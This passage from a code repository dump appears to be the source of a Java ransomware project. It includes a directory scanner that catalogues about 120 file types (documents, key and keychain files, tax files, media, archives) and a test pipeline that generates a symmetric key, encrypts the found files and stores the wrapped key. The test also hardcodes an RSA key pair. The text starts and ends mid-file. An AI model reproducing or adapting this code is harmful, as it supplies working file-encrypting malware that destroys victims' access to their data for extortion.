AESCipher.encryptFile(file.getPath(), secretKey);\n                } catch (Exception e) {\n                    throw new RuntimeException(e);\n                }\n            }\n        });\n        return input;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/RansomwareException.java",
    "content": "package com.security;\n\n\npublic class RansomwareException extends Exception {\n\n    public RansomwareException(String message) {\n        super(message);\n    }\n\n    public RansomwareException(String message, Throwable throwable) {\n        super(message, throwable);\n    }\n\n    @Override\n    public String toString() {\n        return super.toString();\n    }\n}"
  },
  {
    "path": "src/main/java/com/security/SearchDirectory.java",
    "content": "package com.security;\n\n\nimport org.apache.commons.io.FilenameUtils;\n\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.TreeMap;\nimport java.util.stream.Stream;\n\npublic class SearchDirectory {\n\n\n    private static final String DOC = \"doc\";\n    private static final String DOCX = \"docx\";\n    private static final String LOG = \"log\";\n    private static final String MSG = \"msg\";\n    private static final String ODT = \"odt\";\n    private static final String PAGES = \"pages\";\n    private static final String RTF = \"rtf\";\n    private static final String TEX = \"tex\";\n    private static final String TXT = \"txt\";\n    private static final String WPD = \"wpd\";\n    private static final String WPS = \"wps\";\n    private static final String HWP = \"hwp\";\n\n\n    private static final String CSV = \"csv\";\n    private static final String DAT = \"dat\";\n    private static final String GBR = \"gbr\";\n    private static final String GED = \"ged\";\n    private static final String KEY = \"key\";\n    private static final String KEYCHAIN = \"keychain\";\n    private static final String PPS = \"pps\";\n    private static final String PPT = \"ppt\";\n    private static final String PPTX = \"pptx\";\n    private static final String SDF = \"sdf\";\n    private static final String TAR = \"tar\";\n    private static final String TAX2012 = \"tax2012\";\n    private static final String TAX2014 = \"tax2014\";\n    private static final String VCF = \"vcf\";\n    private static final String XML = \"xml\";\n\n\n    private static final String ALF = \"alf\";\n    private static final String IFF = \"iff\";\n    private static final String M3U = \"m3u\";\n    private static final String M4A = \"m4a\";\n    private static final String MID = \"mid\";\n    private static final String MP3 = \"mp3\";\n    private static final String MPA = \"mpa\";\n    private static final String RA = \"ra\";\n    private static final String WAV = \"wav\";\n    private static final String WMA = \"wma\";\n\n    // Video files\n    private static final String G32 = \"3g2\";\n    private static final String G3P = \"3gp\";\n    private static final String ASF = \"asf\";\n    private static final String ASX = \"asx\";\n    private static final String AVI = \"avi\";\n    private static final String FLV = \"flv\";\n    private static final String M4V = \"m4v\";\n    private static final String MOV = \"mov\";\n    private static final String MP4 = \"mp4\";\n    private static final String MPG = \"mpg\";\n    private static final String RM = \"rm\";\n    private static final String SRT = \"srt\";\n    private static final String SWF = \"swf\";\n    private static final String VOB = \"vob\";\n    private static final String WMV = \"wmv\";\n\n\n    // 3D image files\n    private static final String D3M = \"3dm\";\n    private static final String D3S = \"3ds\";\n    private static final String MAX = \"max\";\n    private static final String OBJ = \"obj\";\n\n\n    // Raster image files\n    private static final String BMP = \"bmp\";\n    private static final String DDA = \"dda\";\n    private static final String GIF = \"gif\";\n    private static final String JPG = \"jpg\";\n    private static final String PNG = \"png\";\n    private static final String PSD = \"psd\";\n    private static final String PSIMAGE = \"pspimage\";\n    private static final String TGA = \"tga\";\n    private static final String THM = \"thm\";\n    private static final String TIF = \"tif\";\n    private static final String TIFF = \"tiff\";\n    private static final String YUV = \"yuv\";\n\n\n    // Vector image files\n    private static final String AI = \"ai\";\n    private static final String EPS = \"eps\";\n    private static final String PS = \"ps\";\n    private static final String SVG = \"svg\";\n\n    // Page layout files\n    private static final String INDD = \"indd\";\n    private static final String PCT = \"pct\";\n    private static final String PDF = \"pdf\";\n\n\n    // Spreadsheet files\n    private static final String XLR = \"xlr\";\n    private static final String XLS = \"xls\";\n    private static final String XLSX = \"xlsx\";\n\n\n    // Compressed files\n    private static final String Z7 = \"7z\";\n    private static final String RAR = \"rar\";\n    private static final String ZIP = \"zip\";\n    private static final String TARGZ = \"tar.gz\";\n\n\n    // Executable files\n    private static final String APK = \"apk\";\n    private static final String APP = \"app\";\n    private static final String COM = \"com\";\n    private static final String EXE = \"exe\";\n\n\n    // Web files\n    private static final String ASP = \"asp\";\n    private static final String ASPX = \"apsx\";\n    private static final String CSS = \"css\";\n    private static final String HTM = \"htm\";\n    private static final String HTML = \"html\";\n    private static final String JS = \"js\";\n    private static final String JSP = \"jsp\";\n    private static final String PHP = \"php\";\n    private static final String XHTML = \"xhtml\";\n\n    // Font files\n    private static final String FNT = \"fnt\";\n    private static final String FONT = \"font\";\n    private static final String OFT = \"oft\";\n    private static final String TTF = \"ttf\";\n\n    // Mick files\n    private static final String CRDOWNLAOD = \"crdownload\";\n    private static final String ICS = \"ics\";\n    private static final String MSI = \"msi\";\n    private static final String PART = \"part\";\n    private static final String TORRENT = \"torrent\";\n\n\n    private final HashMap<String, String> docMap;\n    private final HashMap<String, String> docxMap;\n    private final HashMap<String, String> logMap;\n    private final HashMap<String, String> msgMap;\n    private final HashMap<String, String> odtMap;\n    private final HashMap<String, String> pagesMap;\n    private final HashMap<String, String> rtfMap;\n    private final HashMap<String, String> texMap;\n    private final HashMap<String, String> txtMap;\n    private final HashMap<String, String> wpdMap;\n    private final HashMap<String, String> wpsMap;\n    private final HashMap<String, String> hwpMap;\n\n\n    private final HashMap<String, String> csvMap;\n    private final HashMap<String, String> datMap;\n    private final HashMap<String, String> gbrMap;\n    private final HashMap<String, String> gedMap;\n    private final HashMap<String, String> keyMap;\n    private final HashMap<String, String> keychainMap;\n    private final HashMap<String, String> ppsMap;\n    private final HashMap<String, String> pptMap;\n    private final HashMap<String, String> pptxMap;\n    private final HashMap<String, String> sdfMap;\n    private final HashMap<String, String> tarMap;\n    private final HashMap<String, String> tax2012Map;\n    private final HashMap<String, String> tax2014Map;\n    private final HashMap<String, String> vcfMap;\n    private final HashMap<String, String> xmlMap;\n\n\n    private final HashMap<String, String> alfMap;\n    private final HashMap<String, String> iffMap;\n    private final HashMap<String, String> m3uMap;\n    private final HashMap<String, String> m4aMap;\n    private final HashMap<String, String> midMap;\n    private final HashMap<String, String> mp3Map;\n    private final HashMap<String, String> mpaMap;\n    private final HashMap<String, String> raMap;\n    private final HashMap<String, String> wavMap;\n    private final HashMap<String, String> wmaMap;\n\n\n    private final HashMap<String, String> g2Map;\n    private final HashMap<String, String> gpMap;\n    private final HashMap<String, String> asfMap;\n    private final HashMap<String, String> asxMap;\n    private final HashMap<String, String> aviMap;\n    private final HashMap<String, String> flvlvMap;\n    private final HashMap<String, String> m4vMap;\n    private final HashMap<String, String> movMap;\n    private final HashMap<String, String> mp4Map;\n    private final HashMap<String, String> mpgMap;\n    private final HashMap<String, String> rmMap;\n    private final HashMap<String, String> srtMap;\n    private final HashMap<String, String> swfMap;\n    private final HashMap<String, String> vobMap;\n    private final HashMap<String, String> wmvMap;\n\n\n    private final HashMap<String, String> d3mMap;\n    private final HashMap<String, String> d3sMap;\n    private final HashMap<String, String> maxMap;\n    private final HashMap<String, String> objMap;\n\n    private final HashMap<String, String> bmpMap;\n    private final HashMap<String, String> ddaMap;\n    private final HashMap<String, String> gifMap;\n    private final HashMap<String, String> jpgMap;\n    private final HashMap<String, String> pngMap;\n    private final HashMap<String, String> psdMap;\n    private final HashMap<String, String> pspimageMap;\n    private final HashMap<String, String> tgaMap;\n    private final HashMap<String, String> thmMap;\n    private final HashMap<String, String> tifMap;\n    private final HashMap<String, String> tiffMap;\n    private final HashMap<String, String> yuvMap;\n\n\n    private final HashMap<String, String> aiMap;\n    private final HashMap<String, String> epsMap;\n    private final HashMap<String, String> psMap;\n    private final HashMap<String, String> svgMap;\n\n\n    private final HashMap<String, String> inddMap;\n    private final HashMap<String, String> pctMap;\n    private final HashMap<String, String> pdfMap;\n\n    private final HashMap<String, String> xlrMap;\n    private final HashMap<String, String> xlsMap;\n    private final HashMap<String, String> xlsxMap;\n\n\n    private final HashMap<String, String> z7Map;\n    private final HashMap<String, String> rarMap;\n    private final HashMap<String, String> zipMap;\n    private final HashMap<String, String> targzMap;\n\n\n    private final HashMap<String, String> apkMap;\n    private final HashMap<String, String> appMap;\n    private final HashMap<String, String> comMap;\n    private final HashMap<String, String> exeMap;\n\n\n    private final HashMap<String, String> aspMap;\n    private final HashMap<String, String> aspxMap;\n    private final HashMap<String, String> cssMap;\n    private final HashMap<String, String> htmMap;\n    private final HashMap<String, String> htmlMap;\n    private final HashMap<String, String> jsMap;\n    private final HashMap<String, String> jspMap;\n    private final HashMap<String, String> phpMap;\n    private final HashMap<String, String> xhtmlMap;\n\n    private final HashMap<String, String> fntMap;\n    private final HashMap<String, String> fontMap;\n    private final HashMap<String, String> oftMap;\n    private final HashMap<String, String> ttfMap;\n\n\n    private final HashMap<String, String> crdownloadMap;\n    private final HashMap<String, String> icsMap;\n    private final HashMap<String, String> msiMap;\n    private final HashMap<String, String> partMap;\n    private final HashMap<String, String> torrentMap;\n\n\n    private final TreeMap<String, HashMap<String, String>> containsFilters;\n    private String PathtoFind;\n\n\n    public SearchDirectory(String PathtoFind) {\n        this.docMap = new HashMap<String, String>();\n        this.docxMap = new HashMap<String, String>();\n        this.logMap = new HashMap<String, String>();\n        this.msgMap = new HashMap<String, String>();\n        this.odtMap = new HashMap<String, String>();\n        this.pagesMap = new HashMap<String, String>();\n        this.rtfMap = new HashMap<String, String>();\n        this.texMap = new HashMap<String, String>();\n        this.txtMap = new HashMap<String, String>();\n        this.wpdMap = new HashMap<String, String>();\n        this.wpsMap = new HashMap<String, String>();\n        this.hwpMap = new HashMap<String, String>();\n\n\n        this.csvMap = new HashMap<String, String>();\n        this.datMap = new HashMap<String, String>();\n        this.gbrMap = new HashMap<String, String>();\n        this.gedMap = new HashMap<String, String>();\n        this.keyMap = new HashMap<String, String>();\n        this.keychainMap = new HashMap<String, String>();\n        this.ppsMap = new HashMap<String, String>();\n        this.pptMap = new HashMap<String, String>();\n        this.pptxMap = new HashMap<String, String>();\n        this.sdfMap = new HashMap<String, String>();\n        this.tarMap = new HashMap<String, String>();\n        this.tax2012Map = new HashMap<String, String>();\n        this.tax2014Map = new HashMap<String, String>();\n        this.vcfMap = new HashMap<String, String>();\n        this.xmlMap = new HashMap<String, String>();\n\n\n        this.alfMap = new HashMap<String, String>();\n        this.iffMap = new HashMap<String, String>();\n        this.m3uMap = new HashMap<String, String>();\n        this.m4aMap = new HashMap<String, String>();\n        this.midMap = new HashMap<String, String>();\n        this.mp3Map = new HashMap<String, String>();\n        this.mpaMap = new HashMap<String, String>();\n        this.raMap = new HashMap<String, String>();\n        this.wavMap = new HashMap<String, String>();\n        this.wmaMap = new HashMap<String, String>();\n\n\n        this.g2Map = new HashMap<String, String>();\n        this.gpMap = new HashMap<String, String>();\n        this.asfMap = new HashMap<String, String>();\n        this.asxMap = new HashMap<String, String>();\n        this.aviMap = new HashMap<String, String>();\n        this.flvlvMap = new HashMap<String, String>();\n        this.m4vMap = new HashMap<String, String>();\n        this.movMap = new HashMap<String, String>();\n        this.mp4Map = new HashMap<String, String>();\n        this.mpgMap = new HashMap<String, String>();\n        this.rmMap = new HashMap<String, String>();\n        this.srtMap = new HashMap<String, String>();\n        this.swfMap = new HashMap<String, String>();\n        this.vobMap = new HashMap<String, String>();\n        this.wmvMap = new HashMap<String, String>();\n\n\n        this.d3mMap = new HashMap<String, String>();\n        this.d3sMap = new HashMap<String, String>();\n        this.maxMap = new HashMap<String, String>();\n        this.objMap = new HashMap<String, String>();\n\n        this.bmpMap = new HashMap<String, String>();\n        this.ddaMap = new HashMap<String, String>();\n        this.gifMap = new HashMap<String, String>();\n        this.jpgMap = new HashMap<String, String>();\n        this.pngMap = new HashMap<String, String>();\n        this.psdMap = new HashMap<String, String>();\n        this.pspimageMap = new HashMap<String, String>();\n        this.tgaMap = new HashMap<String, String>();\n        this.thmMap = new HashMap<String, String>();\n        this.tifMap = new HashMap<String, String>();\n        this.tiffMap = new HashMap<String, String>();\n        this.yuvMap = new HashMap<String, String>();\n\n\n        this.aiMap = new HashMap<String, String>();\n        this.epsMap = new HashMap<String, String>();\n        this.psMap = new HashMap<String, String>();\n        this.svgMap = new HashMap<String, String>();\n\n\n        this.inddMap = new HashMap<String, String>();\n        this.pctMap = new HashMap<String, String>();\n        this.pdfMap = new HashMap<String, String>();\n\n        this.xlrMap = new HashMap<String, String>();\n        this.xlsMap = new HashMap<String, String>();\n        this.xlsxMap = new HashMap<String, String>();\n\n\n        this.z7Map = new HashMap<String, String>();\n        this.rarMap = new HashMap<String, String>();\n        this.zipMap = new HashMap<String, String>();\n        this.targzMap = new HashMap<String, String>();\n\n\n        this.apkMap = new HashMap<String, String>();\n        this.appMap = new HashMap<String, String>();\n        this.comMap = new HashMap<String, String>();\n        this.exeMap = new HashMap<String, String>();\n\n\n        this.aspMap = new HashMap<String, String>();\n        this.aspxMap = new HashMap<String, String>();\n        this.cssMap = new HashMap<String, String>();\n        this.htmMap = new HashMap<String, String>();\n        this.htmlMap = new HashMap<String, String>();\n        this.jsMap = new HashMap<String, String>();\n        this.jspMap = new HashMap<String, String>();\n        this.phpMap = new HashMap<String, String>();\n        this.xhtmlMap = new HashMap<String, String>();\n\n        this.fntMap = new HashMap<String, String>();\n        this.fontMap = new HashMap<String, String>();\n        this.oftMap = new HashMap<String, String>();\n        this.ttfMap = new HashMap<String, String>();\n\n\n        this.crdownloadMap = new HashMap<String, String>();\n        this.icsMap = new HashMap<String, String>();\n        this.msiMap = new HashMap<String, String>();\n        this.partMap = new HashMap<String, String>();\n        this.torrentMap = new HashMap<String, String>();\n\n        this.containsFilters = new TreeMap<String, HashMap<String, String>>();\n        this.PathtoFind = PathtoFind;\n        this.AddContainFilter();\n        this.SavAllFilters();\n    }\n\n    private void AddContainFilter() {\n\n        containsFilters.put(DOC, docMap);\n        containsFilters.put(DOCX, docxMap);\n        containsFilters.put(LOG, logMap);\n        containsFilters.put(MSG, msgMap);\n        containsFilters.put(ODT, odtMap);\n        containsFilters.put(PAGES, pagesMap);\n        containsFilters.put(RTF, rtfMap);\n        containsFilters.put(TEX, texMap);\n        containsFilters.put(TXT, txtMap);\n        containsFilters.put(WPD, wpdMap);\n        containsFilters.put(WPS, wpsMap);\n        containsFilters.put(HWP, hwpMap);\n\n        // Data files\n        containsFilters.put(CSV, csvMap);\n        containsFilters.put(DAT, datMap);\n        containsFilters.put(GBR, gbrMap);\n        containsFilters.put(GED, gedMap);\n        containsFilters.put(KEY, keyMap);\n        containsFilters.put(KEYCHAIN, keychainMap);\n        containsFilters.put(PPS, ppsMap);\n        containsFilters.put(PPT, pptMap);\n        containsFilters.put(PPTX, pptxMap);\n        containsFilters.put(SDF, sdfMap);\n        containsFilters.put(TAR, tarMap);\n        containsFilters.put(TAX2012, tax2012Map);\n        containsFilters.put(TAX2014, tax2014Map);\n        containsFilters.put(VCF, vcfMap);\n        containsFilters.put(XML, xmlMap);\n\n        // Audio files\n        containsFilters.put(ALF, alfMap);\n        containsFilters.put(IFF, iffMap);\n        containsFilters.put(M3U, m3uMap);\n        containsFilters.put(M4A, m4aMap);\n        containsFilters.put(MID, midMap);\n        containsFilters.put(MP3, mp3Map);\n        containsFilters.put(MPA, mpaMap);\n        containsFilters.put(RA, raMap);\n        containsFilters.put(WAV, wavMap);\n        containsFilters.put(WMA, wmaMap);\n\n        // Video files\n        containsFilters.put(G32, g2Map);\n        containsFilters.put(G3P, gpMap);\n        containsFilters.put(ASF, asfMap);\n        containsFilters.put(ASX, asxMap);\n        containsFilters.put(AVI, aviMap);\n        containsFilters.put(FLV, flvlvMap);\n        containsFilters.put(M4A, m4vMap);\n        containsFilters.put(MOV, movMap);\n        containsFilters.put(MP4, mp4Map);\n        containsFilters.put(MPG, mpgMap);\n        containsFilters.put(RM, rmMap);\n        containsFilters.put(SRT, srtMap);\n        containsFilters.put(SWF, swfMap);\n        containsFilters.put(VOB, vobMap);\n        containsFilters.put(WMV, wmvMap);\n\n\n        // 3D image files\n        containsFilters.put(D3M, d3mMap);\n        containsFilters.put(D3S, d3sMap);\n        containsFilters.put(MAX, maxMap);\n        containsFilters.put(OBJ, objMap);\n\n\n        // Raster image files\n        containsFilters.put(BMP, bmpMap);\n        containsFilters.put(DDA, ddaMap);\n        containsFilters.put(GIF, gifMap);\n        containsFilters.put(JPG, jpgMap);\n        containsFilters.put(PNG, pngMap);\n        containsFilters.put(PSD, psdMap);\n        containsFilters.put(PSIMAGE, pspimageMap);\n        containsFilters.put(TGA, tgaMap);\n        containsFilters.put(THM, thmMap);\n        containsFilters.put(TIF, tifMap);\n        containsFilters.put(TIFF, tiffMap);\n        containsFilters.put(YUV, yuvMap);\n\n\n        // Vector image files\n        containsFilters.put(AI, aiMap);\n        containsFilters.put(EPS, epsMap);\n        containsFilters.put(PS, psMap);\n        containsFilters.put(SVG, svgMap);\n\n        // Page layout files\n        containsFilters.put(INDD, inddMap);\n        containsFilters.put(PCT, pctMap);\n        containsFilters.put(PDF, pdfMap);\n\n\n        // Spreadsheet files\n        containsFilters.put(XLR, xlrMap);\n        containsFilters.put(XLS, xlsMap);\n        containsFilters.put(XLSX, xlsxMap);\n\n\n        // Compressed files\n        containsFilters.put(Z7, z7Map);\n        containsFilters.put(RAR, rarMap);\n        containsFilters.put(ZIP, zipMap);\n        containsFilters.put(TARGZ, targzMap);\n\n\n        // Executable files\n        containsFilters.put(APK, apkMap);\n        containsFilters.put(APP, appMap);\n        containsFilters.put(COM, comMap);\n        containsFilters.put(EXE, exeMap);\n\n\n        // Web files\n        containsFilters.put(ASP, aspMap);\n        containsFilters.put(ASPX, aspxMap);\n        containsFilters.put(CSS, cssMap);\n        containsFilters.put(HTM, htmMap);\n        containsFilters.put(HTML, htmlMap);\n        containsFilters.put(JS, jsMap);\n        containsFilters.put(JSP, jspMap);\n        containsFilters.put(PHP, phpMap);\n        containsFilters.put(XHTML, xhtmlMap);\n\n        // Font files\n        containsFilters.put(FNT, fntMap);\n        containsFilters.put(FONT, fontMap);\n        containsFilters.put(OFT, oftMap);\n        containsFilters.put(TTF, ttfMap);\n\n        // Mick files\n        containsFilters.put(CRDOWNLAOD, crdownloadMap);\n        containsFilters.put(ICS, icsMap);\n        containsFilters.put(MSI, msiMap);\n        containsFilters.put(PART, partMap);\n        containsFilters.put(TORRENT, torrentMap);\n\n\n    }\n\n\n    private void SavAllFilters() {\n        try (Stream<Path> paths = Files.walk(Paths.get(PathtoFind))) {\n            paths.forEach(filePath -> {\n                if (Files.isRegularFile(filePath)) {\n                    System.out.println(filePath);\n                    String extendsion = FilenameUtils.getExtension(filePath.toString());\n                    String FilePath = FilenameUtils.removeExtension(filePath.toString());\n                    SaveToMap(extendsion, FilePath);\n                }\n            });\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n\n    private void SaveToMap(String extension, String FilePath) {\n        switch (extension) {\n            case DOC:\n                docMap.put(FilePath, extension);\n                break;\n            case DOCX:\n                docxMap.put(FilePath, extension);\n                break;\n            case LOG:\n                logMap.put(FilePath, extension);\n                break;\n            case MSG:\n                msgMap.put(FilePath, extension);\n                break;\n            case ODT:\n                odtMap.put(FilePath, extension);\n                break;\n            case PAGES:\n                pagesMap.put(FilePath, extension);\n                break;\n            case RTF:\n                rtfMap.put(FilePath, extension);\n                break;\n            case TEX:\n                texMap.put(FilePath, extension);\n                break;\n            case TXT:\n                txtMap.put(FilePath, extension);\n                break;\n            case WPD:\n                wpdMap.put(FilePath, extension);\n                break;\n            case WPS:\n                wpsMap.put(FilePath, extension);\n                break;\n            case HWP:\n                hwpMap.put(FilePath, extension);\n                break;\n            case CSV:\n                csvMap.put(FilePath, extension);\n                break;\n            case DAT:\n                datMap.put(FilePath, extension);\n                break;\n            case GBR:\n                gbrMap.put(FilePath, extension);\n                break;\n            case GED:\n                gedMap.put(FilePath, extension);\n                break;\n            case KEY:\n                keyMap.put(FilePath, extension);\n                break;\n            case KEYCHAIN:\n                keychainMap.put(FilePath, extension);\n                break;\n            case PPS:\n                ppsMap.put(FilePath, extension);\n                break;\n            case PPT:\n                pptMap.put(FilePath, extension);\n                break;\n            case PPTX:\n                pptxMap.put(FilePath, extension);\n                break;\n            case SDF:\n                sdfMap.put(FilePath, extension);\n                break;\n            case TAR:\n                tarMap.put(FilePath, extension);\n                break;\n            case TAX2012:\n                tax2012Map.put(FilePath, extension);\n                break;\n            case TAX2014:\n                tax2014Map.put(FilePath, extension);\n                break;\n            case VCF:\n                vcfMap.put(FilePath, extension);\n                break;\n            case XML:\n                xmlMap.put(FilePath, extension);\n                break;\n            case ALF:\n                alfMap.put(FilePath, extension);\n                break;\n            case IFF:\n                iffMap.put(FilePath, extension);\n                break;\n            case M3U:\n                m3uMap.put(FilePath, extension);\n                break;\n            case M4A:\n                m4aMap.put(FilePath, extension);\n                break;\n            case MID:\n                midMap.put(FilePath, extension);\n                break;\n            case MP3:\n                mp3Map.put(FilePath, extension);\n                break;\n            case MPA:\n                mpaMap.put(FilePath, extension);\n                break;\n            case RA:\n                raMap.put(FilePath, extension);\n                break;\n            case WAV:\n                wavMap.put(FilePath, extension);\n                break;\n            case WMA:\n                wmaMap.put(FilePath, extension);\n                break;\n            case G32:\n                g2Map.put(FilePath, extension);\n                break;\n            case G3P:\n                gpMap.put(FilePath, extension);\n                break;\n            case ASF:\n                asfMap.put(FilePath, extension);\n                break;\n            case ASX:\n                asxMap.put(FilePath, extension);\n                break;\n            case AVI:\n                aviMap.put(FilePath, extension);\n                break;\n            case FLV:\n                flvlvMap.put(FilePath, extension);\n                break;\n            case M4V:\n                m4vMap.put(FilePath, extension);\n                break;\n            case MOV:\n                movMap.put(FilePath, extension);\n                break;\n            case MP4:\n                mp4Map.put(FilePath, extension);\n                break;\n            case MPG:\n                mpgMap.put(FilePath, extension);\n                break;\n            case RM:\n                rmMap.put(FilePath, extension);\n                break;\n            case SRT:\n                srtMap.put(FilePath, extension);\n                break;\n            case SWF:\n                swfMap.put(FilePath, extension);\n                break;\n            case VOB:\n                vobMap.put(FilePath, extension);\n                break;\n            case WMV:\n                wmvMap.put(FilePath, extension);\n                break;\n            case D3M:\n                d3mMap.put(FilePath, extension);\n                break;\n            case D3S:\n                d3sMap.put(FilePath, extension);\n                break;\n            case MAX:\n                maxMap.put(FilePath, extension);\n                break;\n            case OBJ:\n                objMap.put(FilePath, extension);\n                break;\n            case BMP:\n                bmpMap.put(FilePath, extension);\n                break;\n            case DDA:\n                ddaMap.put(FilePath, extension);\n                break;\n            case GIF:\n                gifMap.put(FilePath, extension);\n                break;\n            case JPG:\n                jpgMap.put(FilePath, extension);\n                break;\n            case PNG:\n                pngMap.put(FilePath, extension);\n                break;\n            case PSD:\n                psdMap.put(FilePath, extension);\n                break;\n            case PSIMAGE:\n                psdMap.put(FilePath, extension);\n                break;\n            case TGA:\n                tgaMap.put(FilePath, extension);\n                break;\n            case THM:\n                thmMap.put(FilePath, extension);\n                break;\n            case TIF:\n                tifMap.put(FilePath, extension);\n                break;\n            case TIFF:\n                tiffMap.put(FilePath, extension);\n                break;\n            case YUV:\n                yuvMap.put(FilePath, extension);\n                break;\n            case AI:\n                aiMap.put(FilePath, extension);\n                break;\n            case EPS:\n                epsMap.put(FilePath, extension);\n                break;\n            case PS:\n                psMap.put(FilePath, extension);\n                break;\n            case SVG:\n                svgMap.put(FilePath, extension);\n                break;\n            case INDD:\n                inddMap.put(FilePath, extension);\n                break;\n            case PCT:\n                pctMap.put(FilePath, extension);\n                break;\n            case PDF:\n                pdfMap.put(FilePath, extension);\n                break;\n            case XLR:\n                xlrMap.put(FilePath, extension);\n                break;\n            case XLS:\n                xlsMap.put(FilePath, extension);\n                break;\n            case XLSX:\n                xlsxMap.put(FilePath, extension);\n                break;\n            case Z7:\n                z7Map.put(FilePath, extension);\n                break;\n            case RAR:\n                rarMap.put(FilePath, extension);\n                break;\n            case ZIP:\n                zipMap.put(FilePath, extension);\n                break;\n            case TARGZ:\n                targzMap.put(FilePath, extension);\n                break;\n            case APK:\n                apkMap.put(FilePath, extension);\n                break;\n            case APP:\n                appMap.put(FilePath, extension);\n                break;\n            case COM:\n                comMap.put(FilePath, extension);\n                break;\n            case EXE:\n                exeMap.put(FilePath, extension);\n                break;\n            case ASP:\n                aspMap.put(FilePath, extension);\n                break;\n            case ASPX:\n                aspxMap.put(FilePath, extension);\n                break;\n            case CSS:\n                cssMap.put(FilePath, extension);\n                break;\n            case HTM:\n                htmMap.put(FilePath, extension);\n                break;\n            case HTML:\n                htmlMap.put(FilePath, extension);\n                break;\n            case JS:\n                jsMap.put(FilePath, extension);\n                break;\n            case JSP:\n                jspMap.put(FilePath, extension);\n                break;\n            case PHP:\n                phpMap.put(FilePath, extension);\n                break;\n            case XHTML:\n                xhtmlMap.put(FilePath, extension);\n                break;\n            case FNT:\n                fntMap.put(FilePath, extension);\n                break;\n            case FONT:\n                fontMap.put(FilePath, extension);\n                break;\n            case OFT:\n                oftMap.put(FilePath, extension);\n                break;\n            case TTF:\n                ttfMap.put(FilePath, extension);\n                break;\n            case CRDOWNLAOD:\n                crdownloadMap.put(FilePath, extension);\n                break;\n            case ICS:\n                icsMap.put(FilePath, extension);\n                break;\n            case MSI:\n                msiMap.put(FilePath, extension);\n                break;\n            case PART:\n                partMap.put(FilePath, extension);\n                break;\n            case TORRENT:\n                torrentMap.put(FilePath, extension);\n                break;\n            default:\n                System.out.println(\"Error \" + FilePath + extension);\n                break;\n\n        }\n    }\n\n    public TreeMap<String, HashMap<String, String>> GetFileMap() {\n        return containsFilters;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/security/Serializer.java",
    "content": "package com.security;\n\n\nimport lombok.Getter;\nimport lombok.SneakyThrows;\nimport org.apache.fury.Fury;\nimport org.apache.fury.ThreadSafeFury;\nimport org.apache.fury.config.Language;\n\n@Getter\npublic class Serializer {\n\n    private static volatile Serializer instance;\n\n    private final ThreadSafeFury fury;\n\n    private Serializer() throws ClassNotFoundException {\n        if (instance != null) {\n            throw new IllegalStateException(\"Already initialized.\");\n        }\n        this.fury = Fury.builder()\n                .withLanguage(Language.JAVA)\n                .withRefTracking(false)\n                .withRefCopy(false)\n                .withLongCompressed(true)\n                .withIntCompressed(true)\n                .withStringCompressed(true)\n                .withScalaOptimizationEnabled(true)\n                .withClassVersionCheck(false)\n                .withAsyncCompilation(false)\n                .withCodegen(false)\n                .requireClassRegistration(false)\n                .buildThreadSafeFury();\n    }\n\n    @SneakyThrows\n    public static Serializer getInstance() {\n\n        Serializer result = instance;\n        if (result == null) {\n            synchronized (Serializer.class) {\n                result = instance;\n                if (result == null) {\n                    result = new Serializer();\n                    instance = result;\n                }\n            }\n        }\n        return result;\n    }\n}\n"
  },
  {
    "path": "src/resources/test.txt",
    "content": "test data"
  },
  {
    "path": "src/test/java/com/Examples/ExampleTest.java",
    "content": "package com.Examples;\n\nimport com.security.*;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io.filefilter.TrueFileFilter;\nimport org.junit.jupiter.api.*;\n\nimport javax.crypto.SecretKey;\nimport java.io.File;\nimport java.io.IOException;\nimport java.net.URISyntaxException;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.security.GeneralSecurityException;\nimport java.security.PrivateKey;\nimport java.security.PublicKey;\nimport java.sql.SQLException;\nimport java.util.Collection;\nimport java.util.Objects;\nimport java.util.stream.Stream;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\n\n@TestMethodOrder(MethodOrderer.OrderAnnotation.class)\npublic class ExampleTest {\n    private static final String PubicKey = \"MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==\";\n    private static final String PrivateKey = \"MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=\";\n\n\n    @Test\n    @Order(1)\n    public void PipelineTest() throws URISyntaxException {\n        Path testPath = Paths.get(\"C:\\\\Users\\\\User\\\\Documents\\\\GitHub\\\\JavaRansomware\\\\just\");\n        //Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource(\"/test.txt\")).toURI());\n        PipelineData pipelineData = new PipelineData();\n        pipelineData.setPrivateKey(PrivateKey);\n        pipelineData.setPublicKey(PubicKey);\n        pipelineData.setRootPath(testPath.toAbsolutePath().toString());\n\n        Pipeline<PipelineData, PipelineData> encrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())\n                .addHandler(new DecryptKeyHandler())\n                .addHandler(new GenSymmetricKeyHandler())\n                .addHandler(new RansomwareEncryptHandler())\n                .addHandler(new EncryptKeyHandler())\n                .addHandler(new DatabaseStoreHandler());\n        var encrypt_output = encrypt_filters.execute(pipelineData);\n        System.out.println(\"Pipeline output: \" + encrypt_output);\n\n\n        